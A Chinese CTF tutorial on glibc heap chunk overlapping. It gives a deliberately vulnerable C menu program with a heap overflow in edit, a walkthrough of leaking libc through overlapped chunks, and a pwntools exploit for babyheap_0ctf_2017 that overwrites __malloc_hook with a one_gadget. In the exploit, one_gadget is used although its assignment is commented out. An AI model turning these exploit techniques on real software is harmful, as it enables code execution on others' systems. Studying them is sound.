0x01 介绍
堆块重叠是借助堆溢出来修改chunk的size字段让其包含多个chunk,然后就可以实现一些非法的操作,比如泄露修改chunk的fd指针。
之所以能够完成重叠实际上和free函数有关,由于chunk释放的时候只会检查nextchunk的size字段是否合法,而nextchunk的获取是通过chunk+size来获取的,这样就会忽略中间的那些chunk。我们只要修改chunk的size值为可以获取nextchunk size的值即可,这里的nextchunk可以是本身就存在的chunk,也可以是我们伪造的chunk。这里写一个简单的例子来具体分析。
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char *chunk_list[10];
int size[10];
void add() {
int index;
printf("Index: ");
scanf("%d", &index);
if (index < 0 || index >= 10 || chunk_list[index]) {
exit(1);
}
printf("Size: ");
scanf("%d", &size[index]);
chunk_list[index] = malloc(size[index]);
memset(chunk_list[index], 0, size[index]);
}
void edit() {
int index, s;
printf("Index: ");
scanf("%d", &index);
if (index < 0 || index >= 10 || !chunk_list[index]) {
exit(1);
}
printf("Size: ");
scanf("%d", &s);
printf("Content: ");
read(0, chunk_list[index], s);
}
void show() {
int index;
printf("Index: ");
scanf("%d", &index);
if (index < 0 || index >= 10 || !chunk_list[index]) {
exit(1);
}
write(1, chunk_list[index], size[index]);
}
void delete() {
int index;
printf("Index: ");
scanf("%d", &index);
if (index < 0 || index >= 10 || !chunk_list[index]) {
exit(1);
}
free(chunk_list[index]);
chunk_list[index] = 0;
size[index] = 0;
}
void menu() {
puts("1. add");
puts("2. edit");
puts("3. show");
puts("4. delete");
printf("> ");
}
int main() {
int choice;
setbuf(stdout, 0);
setbuf(stdin, 0);
while(1) {
menu();
scanf("%d", &choice);
switch(choice) {
case 1:
add();
break;
case 2:
edit();
break;
case 3:
show();
break;
case 4:
delete();
break;
default:
exit(0);
}
}
return 0;
}
经典的菜单式程序,包含一个堆溢出漏洞在edit函数里。首先尝试用本身就存在的chunk来尝试。先申请一个Size为10的chunk 0,用来溢出修改chunk 1的size字段,然后申请3个0x60大小的chunk 1、2、3。此时堆的结构为
当我们通过堆溢出修改chunk 1的size字段为0xe1时,就会造成chunk 1和chunk 2堆重叠了
通过pwndbg命令heap可以看到系统已经识别不到chunk 2了
最后通过delete函数释放chunk 1试试是否可以正常释放
发现chunk 1已经被释放到unsortedbin了。再来尝试伪造一个chunk来试试,直接修改chunk 2的数据为下图形式
再将chunk 1的size字段修改为0x91
通过heap可以看出伪造的chunk已经被识别了
delete操作也可以正常释放
这样做的目的是什么呢?在系统看来它释放的空间是chunk 1加上chunk 2的内存或者chunk 1加上fake chunk1的内存,但是在用户看来只释放了chunk 1的内存,而chunk 2的内存指针还保留在chunk list中。由于系统和用户的这种认知误差,就导致可以进一步的利用。对于可以溢出很多个字节的情况,可能只需要堆块重叠来泄露libc地址,而对于off-by-one的情况则可以用来修改chunk的指针,具体的在讲off-by-one时再详述。
泄露libc地址
对于这里的样例程序来说,show函数只能打印chunk size大小个字节,而且无法打印被释放的chunk的数据。这里就可以通过构造堆块重叠来实现打印被释放的chunk的数据。具体操作为
- 修改chunk 1的size让其和chunk 2形成堆块重叠
- 释放chunk 1
- 申请回chunk 1
- 打印chunk 2
前两个步骤前面已经讲过,释放chunk 1后将会将其放到unsortedbin中。详细讲一下后两个步骤,chunk 1原来的大小是0x70,也就是malloc(0x60),第三步malloc个0x60的chunk,它会首先到fastbin index为0x70的组里面找有没有chunk可以直接来使用,我们这里fastbin都是空的,那么它就会去unsortedbin中,看里面的chunk是否大于我们申请的大小,如果是的话,就会从该chunk切割一部分给用户使用,剩下的部分放回unsortedbin中,也就是剩下的这部分chunk也包含main_arena指针。我们这里也就是从unsortbin的chunk切割0x70字节给用户,其实就是本来chunk 1的部分
剩下部分就是chunk 2的部分,可以看到main_arena的指针保存在chunk 2里了
chunk list里还保存了chunk 2的指针,所以第四步就可以通过show函数将main_arena指针打印出来了
对于限制只能申请fastbin chunk范围的程序,也可以通过这种方法构造一个unsortedbin chunk范围的chunk,然后来泄露出main_arena
0x02 实例
babyheap_0ctf_2017
直接IDA打开查看主要逻辑,可以从打印函数里看出程序的主要功能
很经典的菜单式程序,功能为增加、修改、删除和显示。首先观察增加函数
从这里可以看出管理结构体原型为
struct manage {
__int64 inuse;
__int64 size;
char *chunk_ptr;
}
calloc(size_t n, size_t size):申请n*size大小的chunk
再来看一下修改函数
这里就存在一个漏洞,由于Size大小可以由用户控制,如果输入一个比较大的Size超过chunk本身的大小,就会造成堆溢出。释放函数为
没有什么漏洞存在。最后一个是显示函数
那么其实利用思路就很清晰了,利用堆溢出造成堆块重叠来泄露出main_arena地址,然后再计算出libc基地址和one_gadget地址,最后利用fastbin attack将__malloc_hook
改为one_gadget。
最终脚本为
from pwn import*
o = process("./pwn")
# o = remote("node4.buuoj.cn", 26807)
elf = ELF("./pwn")
libc = elf.libc
# libc = ELF("./libc6_2.23-0ubuntu11_amd64.so") # 远程
def add(size):
o.sendlineafter(b"Command: ", b"1")
o.sendlineafter(b"Size: ", str(size).encode())
def edit(index, size, content):
o.sendlineafter(b"Command: ", b"2")
o.sendlineafter(b"Index: ", str(index).encode())
o.sendlineafter(b"Size: ", str(size).encode())
o.sendlineafter(b"Content: ", content)
def delete(index):
o.sendlineafter(b"Command: ", b"3")
o.sendlineafter(b"Index: ", str(index).encode())
def show(index):
o.sendlineafter(b"Command: ", b"4")
o.sendlineafter(b"Index: ", str(index).encode())
# leak libc
add(0x10) # chunk 0
add(0x30) # chunk 1
add(0x50) # chunk 2
add(0x60) # chunk 3
# 通过堆溢出修改chunk 1的size造成chunk 1和chunk 2堆重叠
payload = b'a'*0x18 + p64(0xa1)
edit(0, len(payload), payload)
# 释放chunk 1
delete(1)
# 申请回chunk 1
add(0x30)
# 打印chunk 2
show(2)
# 计算得到__malloc_hook、libc基地址和one_gadget
o.recvline()
malloc_hook = u64(o.recv(8)) - 0x68
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.info("libc_base => 0x%x" % libc_base)
# one_gadget = libc_base + 0x4526a # 远程
fake_chunk = malloc_hook - 0x23 # __malloc_hook附件符合fastbin范围的fake chunk
# fastbin attack
delete(3)
payload = b'a'*0x58 + p64(0x71) + p64(fake_chunk)
edit(2, len(payload), payload)
add(0x60) # 3
add(0x60) # 4
payload = b'a'*0x13 + p64(one_gadget)
edit(4, len(payload), payload)
# 触发malloc执行one_gadget
add(0x10)
o.interactive()
标签:index,重叠,堆块,--,chunk,list,libc,add,size
From: https://www.cnblogs.com/c3n1g/p/17691496.html